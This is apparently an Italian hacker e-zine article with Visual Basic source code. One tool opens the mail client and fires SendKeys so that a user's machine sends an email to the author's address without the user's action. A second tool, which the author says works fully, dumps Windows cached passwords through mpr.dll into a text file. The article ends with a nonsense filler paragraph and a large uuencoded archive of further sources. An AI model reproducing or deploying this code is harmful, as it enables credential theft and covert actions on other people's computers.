E' possibile laciare il client predefinito per la posta semplicemente
chiamando su explorer (con shellexecute) il riferimento MAILTO:
mailto: .. seguito dalla mail alla quale si vuole inviare il tutto e
(volendo) dai riepitivi per gli altri campi e header non ultimi anche
gli attachment!
es:
vogliamo farci inviare da un nostro "utente" la seguente mail
From: mio utente a
To: mio@indirizzo.com
cc: info@spippolatric.om
Subject: fammi vedere cose c'e'!
ecco
adesso ho visto!
Grazie! :))
bastera' scrivere
alfa = ShellExecute(frm.hwnd, "open", "MailTo:" + "mio@indirizzo.com" + _
'
' e diseguito inserire quello che segue in un unica stringa!
'
?subject=Richiesta di Informazioni&cc=info@spippolatori.com
&Reply-To=usso@usso.it
&body=Vorrei maggiori informazioni su:
%0a%0a -- SPP SERVER ver. 1.00 \ TIVEDO
%0a%0a Grazie e speriamo nel futuro.
_ , "", "", 1)
La shellexecute aprira' il CLIENT postale selezionato come predefinito..
come si puo' adesso inviare la mail?
Semplice.. inviando il comando send tramite SendKeys.
Per una qualunque versione di Outlook bastera' scrivere
' Riporta il focus sul form iniziale
Form1.SetFocus
' attende fino a quando il outlook e'
' stato aperto controllando il title della finestra
' sotto focus.
Dim pippo As String * 255
pippo = String(255, "#")
GetWindowText GetActiveWindow(), pippo, 255
While InStr(1, pippo, Form1.Caption) >= 1
GetWindowText GetActiveWindow(), pippo, 255
DoEvents
Wend
' attende altri tre secondi dopo l'apertura di
' Outlook per dar tempo alla macchina di creare
' i menu sul form. (necessario)
p = 3: s = Timer: Do While Timer < s + p: Loop
' invia il comando per la spedizione e chiude
' il client postale.
SendKeys ("%F{ENTER}{ENTER}")
Il programma completo di prova..
'---------------------------------------------------------------------------
Begin VB.Form Form1
Caption = "Automanda"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Begin VB.Label Label1
Caption = "master@spippolatori.com"
Height = 255
Left = 60
TabIndex = 0
Top = 165
Width = 1875
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory _
As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Sub Spara(frm As Form, ByVal er As String)
alfa = ShellExecute(frm.hwnd, "open", "MailTo:" + er + _
"?subject=Richiesta di Informazioni&cc=info@spippolatori.com&Reply-To=usso@usso.it&body=Vorrei maggiori informazioni su:%0a%0a -- SPP SERVER ver. 1.00 \ TIVEDO %0a%0a Grazie e speriamo nel futuro." _
, "", "", 1)
Form1.SetFocus
Dim pippo As String * 255
pippo = String(255, "#")
GetWindowText GetActiveWindow(), pippo, 255
While InStr(1, pippo, Form1.Caption) >= 1
GetWindowText GetActiveWindow(), pippo, 255
DoEvents
Wend
p = 3: s = Timer: Do While Timer < s + p: Loop
SendKeys ("%F{ENTER}{ENTER}")
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label1.ForeColor = 0
End Sub
Private Sub Label1_Click()
Call Spara(Me, Label1.Caption)
End Sub
Private Sub Label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label1.ForeColor = RGB(255, 255, 255)
End Sub
'---------------------------------------------------------------------------
Insomma.. e questo e' tutto. :))
Aggiungo solo in coda un articolo che L'amico Brigante si e' scordato di
aggiungere al numero 11 di Netrunner.. he he
E praticamente ... come citato in testa a queto articolo:
Finalmente il programma FUNZIONANTE al 100% in VB per il recupero
delle cached password tramite la mpr.dll
Quello precedente non funzionava -sempre- per via di una cattiva gestione
dei callback .. in questa versione ho risolto il problema. ;-)
Tempo fa avevo pubblicato un programma in vb che sfruttava la libreria mpr.dll
e che era fatto sulla falsa riga del classico pwlview creato in c dell'amico Vitas.
Purtroppo (come gia accennato prima) il programma non funzionava sempre
a causa della cattiva gestione "callback" del vb.
A seguito della mia pubblicazione sono poi apparsi tanti programmi analoghi e (come
volevasi dimostrare :) ) chi piu' chi meno sempre con gli altrettanto analoghi problemi.
I "problemi" erano rappresentati in grande misura dal fatto che che il programma una volta
su tre mediamente si rifiutava di funzionare dando odiosi schermi blu e rendendo
a volte inutilizzabili le password salvate nella cache fino al successivo riavvio di
windows (questo a causa dell'-inceppamento- della libreria mpr.dll che restava dichiarata
nella lista ram degli open-files)
Questa che riporto di seguito e' invece una versione semplificata e stabile del mio
stesso programma che utilizza un trucco banale per evitare di incastrare nella chiamata
in callback ulteriori chiamate ad api di sistema .. responabili degli -impallamenti-
del vb.
Praticamente ho sostituito alcune api con equivalenti procedure minimizzate in vb standard.
Ho testato il programma su varie macchine e non ho avuto da nessuna di queste alcun
problema. Gli schermi blu sono svaniti e la libreria mpr non si inceppa piu'.
Fate un form con una combo un bottone e una casella di testo.
(La combo conterra' le password e il bottone servira' per salverla su disco col nome
file dichiarato nella text box.)
Create un modulo contenente le seguenti dichiarazioni ed istruzioni:
-----------------------------------------------------------------------------------------
PROCEDURE.BAS
-----------------------------------------------------------------------------------------
'-------------------- Dichiarazioni Hide-Api e strutture -------------------------
Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, _
ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long
Type cache: un As Integer: inizio As Integer: fine As Integerdu As Byte
tipo As Byte: msg(1 To 1024) As Byte: End Type
'-------------------- Dichiarazioni Hide-Api e strutture -------------------------
'
'-------------------- Procedure --------------------------------------------------
Public Function OEM2C(k As Byte) As Byte
If k > 0 Then OEM2C = k Else OEM2C = 32
End Function
Public Function CALLBACK(pwd As cache, ByVal x As Long) As Integer
qw = "": For n = 1 To (pwd.inizio + pwd.fine)
qw = qw + Chr(OEM2C(pwd.msg(n)))
If n = pwd.inizio Then qw = qw + " | "
Next
Form1.Combo1.AddItem Format(pwd.tipo, "00") + " : " + qw
CALLBACK = True
End Function
Public Sub trova()
WNetEnumCachedPasswords "", 0, 255, AddressOf CALLBACK, 0
End Sub
'-------------------- Procedure --------------------------------------------------
-----------------------------------------------------------------------------------------
nel form inserite questi dati:
-----------------------------------------------------------------------------------------
FORM1.frm
-----------------------------------------------------------------------------------------
Private Sub Command1_Click()
Open Text1 For Output As #1
For n = 0 To Combo1.ListCount - 1
Print #1, "Pass. N." + Format((n + 1), "00"); " Tipo."; Combo1.List(n)
Next n
Close #1
End Sub
Private Sub Form_Load()
trova
Combo1.Text = "Totale password trovate = " + CStr(Combo1.ListCount)
Text1 = "Password.txt"
End Sub
-----------------------------------------------------------------------------------------
io ho impostato graficamente il form cosi':
+---------------------------------------------------------------------+
| +------------------------------------------------+ +---------------+|
| | Casella combo contenente le password | | Salva su file ||
| +------------------------------------------------+ +---------------+|
| +---------------+|
| | Passwords.txt ||
| +---------------+|
+---------------------------------------------------------------------+
ma ovviamente non e' una cosa obbligatoria. :))
.. fatto questo compilate ed il gioco e' fatto.
[e' inutile dire che il programma viene compilato solo su versioni di VB uguali o
maggiori alla 5 in quanto nelle precedenti mancava l'istruzione AddressOf che
qui gioca un ruolo fondamentale. ]
E questo e' VERAMENTE tutto... almeno fino alla prossima volta. ;-)
---------------------------------------------------------------------------------------
La reinizializzazione e' avvenuta insufficientemente per contraddistinguere
contemporaneamente la standardizzazione e proporzionalmente i dati multidimensionali
ma irrimediabilmente o meglio indipendentemente o indifferentemente circa
milleduentocinquantasette nodi si sono tradizionalmente e sufficientemente
sottoposti a sottoespressioni di sincronizzazione e di schematizzazione per la
riorganizzazione e la rappresentazione dell'interfacciamento monodimensionale
interattivamente con la inizializzazione della sottoespressione di immagazzinamento.
Questo piu' dettagliatamente come nella contrapposizione del commercializzato.
---------------------------------------------------------------------------------------
APPENDICE:
Sorgenti BASE dei programmi citati nell'articolo in formato UUENCODE
------------------------------------TAGLIA QUI-----------------------------------------
begin 644 tutti.ace
MKB<;````@"HJ04-%*BH*#`(`N'2F*$>+(`%'BUG7`)7*,P`!`0``````````
M`$5SIB@0````_____P$%"@```!0`;75L=&ES;V-K970@=F(@92!C*RL6,CX`
M`0$```````````!%<Z8H$````/____\!!0H````?`&UU;'1I<V]C:V5T('9B
M(&4@8RLK7')U;F1L;#,R(#)//TP``0$```````````!%<Z8H$````/____\!
M!0H````M`&UU;'1I<V]C:V5T('9B(&4@8RLK7')U;F1L;#,R(#)<4E5.1$Q,
M,S(@,B!60W;^4@`!`0```````````)QSIB@0````_____P$%"@```#,`;75L
M=&ES;V-K970@=F(@92!C*RM<<G5N9&QL,S(@,EQ254Y$3$PS,B`R(%9#7$1E
M8G5G&K!-``$!````````````1G.F*!````#_____`04*````+@!M=6QT:7-O
M8VME="!V8B!E(&,K*UQR=6YD;&PS,B`R7')U;F1L;#,R(#(@0D-"&"%$``$!
M````````````1G.F*!````#_____`04*````)0!M=6QT:7-O8VME="!V8B!E
M(&,K*UQS;V-K(&UU;'1I<&QO(%9"68`G``$!````````````1G.F*!````#_
M____`04*````"`!P87-S=V]R9/5O+``!`0```````````$9SIB@0````____
M_P$%"@````T`<W!E8VEA;&4@;6%I;(Z$1P`!`0```````````$9SIB@0````
M_____P$%"@```"@`<W!E8VEA;&4@;6%I;%QM86EL(&-O;7!L971A(&-O;B!U
M;B!C;&EC:Y!(2``!`0```````````$9SIB@0````_____P$%"@```"D`<W!E
M8VEA;&4@;6%I;%QM86YD82!P;W-T82!C;VX@871T86-H(&EN(&/1V#4``0&`
MK`$``"8#``!<EDHH(````.DJH!!0H````6`'!A<W-W;W)D7'!R;V-E9'5R
M92YB87/;)AN':X8U;3T'>5Y65GXFY2%E!CIW9G0BTL,,7UB!LP?\6'"O%TM"
M]7J]7J$86)KHP,))2XX#P+!R/"-T7=H5IAO1E9I__$;LW6[NSW/)@J^N+E]R
MIO$7XQDIXCMK9VIGUOM(<ALU<U4C-]V2PVBE"&"1ITW(S5U1X3C5[ML[!C-E
M"G'7"`*9MRB4']#*'%XH8N)>Q#B,Z@8H*/3#$FP>UW,=KYU0L$^:(+UPFG,B
M3/T9``7L*QF8W1?E%3XH8Q28XC"JV2%QPV#<VWH6"H[:?>ZAV*GRT4]J)*8!
M*X>.:=$\(YE@&=Z;=2E;[UT,TN*B?J<02RKL)5',DD:9\3@ST@KUN:`0\`>R
M:=F/_\MTS,'JEP2'I-T'.?RP6-?.'G3"ZO2%D7/VB[?!,0U);B9@R1#^/JZ/
M(8ETBK0]V@")O!B)P]K)^CZ-S`"ML?8;OP'SJ/2]6:]:G@/!.K'2W=[X;`^Z
MG8JRJJ:Y2VHS"]-ZT$2Q<`;GZ]=7LH!;/@/5!_4R(X%S;,G\2ET_I$/Y30K0
M0BE\+.R04Y10$6C9=#14AH&KN`FK^<`6````J(4%6@`!`8!H!0``6Q$``'A9
MI2@@````_S`S=0$%"@```#L`;75L=&ES;V-K970@=F(@92!C*RM<<G5N9&QL
M,S(@,EQR=6YD;&PS,B`R($)#0EQR=6YD;&PS,BYB<'(D)9R(9VC,D?8[5[<_
MV7RZU#`TB&DL>MN_%9UV0E>F$1:$[/IJ';A3SY"TTL_/S\\)M,O/O(*PIC!*
M&5J"0'`D/<>W*&T(J\XP&UK#JWY97G,0R`Y_\W+\P/$<D_D['FK6['4]-6@,
M*?6[_@OVRK!R0-/,6H%V4R)[,:]16';E,;JQJ=2;>OYA*@\+Z&X5HI5WW5
MK(M+E066,WB(HAYVR_!1Y`Q*")9'E:446XY<@@-9`?DJ-$)!H`1P;D04UR+U
MA$`/H"W]N"2=\(C+0Q_"TN3%F+]P9%?*-UDH/$P>:.[0M!`Q_,[U)"2"9M7`
M1<"E01??O,VZ]1E-K\1?'?5#+S4N?=TNH+*L"]U\U<:"QK!MZMMV2;VF%)@;
MRRJN_S)]6=51RJX\8(-T>\F+@>Q4I+E8->1&U[2*D8*UNIP=T_%72[JM&V^Q
MF02:6^U7)?I>Y>QFL)?6&6/8&0\RJW>)!$`!MJI)@><S'<NB(4E6INIF3ZZ*
MZ9;<7`SJ9DI>VQA&H0=`Z%C6T\)K$!O/ZGM1YG:SR;JIOL9[>Z/5O3UTNT@H
M$YM(NO@Z*"&5GC03P2&2S1DC)>!O6]*0*^@2M0O`J'0LPY/[Z`Z2#AN).^W.
M1)7"B'MALR!>UL,C6W2UA<[R\AKXJJ!*XLD67TC;<=M!P\_IVMCOTH>=_V-)
M>YLWO-.1;2`9O^L_F7=!"8O_(@];U%1?Z$AI[W)#KVJE[B2:]F"Y_)2(:9)!
MQ#.6AA"8;"\*K9S8>_^K+>-FP6V>CIVN<9K<4Z8X\I9Y!3#ZXTV=BT&A;W';
MV]D4/?FWL')@K!M'_Y8+!CJWZ=XX>`=?E*@NA%.RI[U+)M1#;08O6IWA0QF*
MW4$5^X((9SU"02Y5J#G1U11C4`:%.D4<T^,S/E3M3KDDH!YWFSQC'323HB7^
M9?6BR%P]R:\*5;:.0_VL$\3K^:ER"'[K]?'-)W6^Y`I4D"7XBN6*W@546IE$
M6I7E2XFZB5F:Z/O&$HX@<H[LH-BRLJT6<K7H=^DEC9,,7"'G>+_9^;4\[5
M7\'R:7Y9/:;(`@JQH4B_![W&(=-P$S(]9IEK[+%U;,>&4=/KN:H.H+W$A1D]
MC'SPO*M1T0S!+2U,NLRT!"YGF'PS&,H9!D%B1,]I.#J*1$N;*$K'$`'(&;J"
M?9)?L%>-O"GDW(==OG,.YCU3D'R.K7QT$H;-*;-ZZ$#X5AOA@U`C(53K79SE
M>Z#;:A2Q$%']P7-/@@9V\F"$00.T5B68E22:8503*$%(!EJ&I8QTW+)/*;K6
MK.11")FFGW",C!*"5<2#R$R\K$!ECZ]DOG.CT&8(!5[>?$%%2GK2OH:9P>F;
M;#5(,TB"0FB?!>UO#?*D08%654#4J_EF<05P\,NI;U<DLM5,ZN@]17M65B
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
MX5\O33F>_+T&*0'(,!K+HPZ^UK03`UA/<'N5561CA)'7==5(C:$SU6QJOS
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
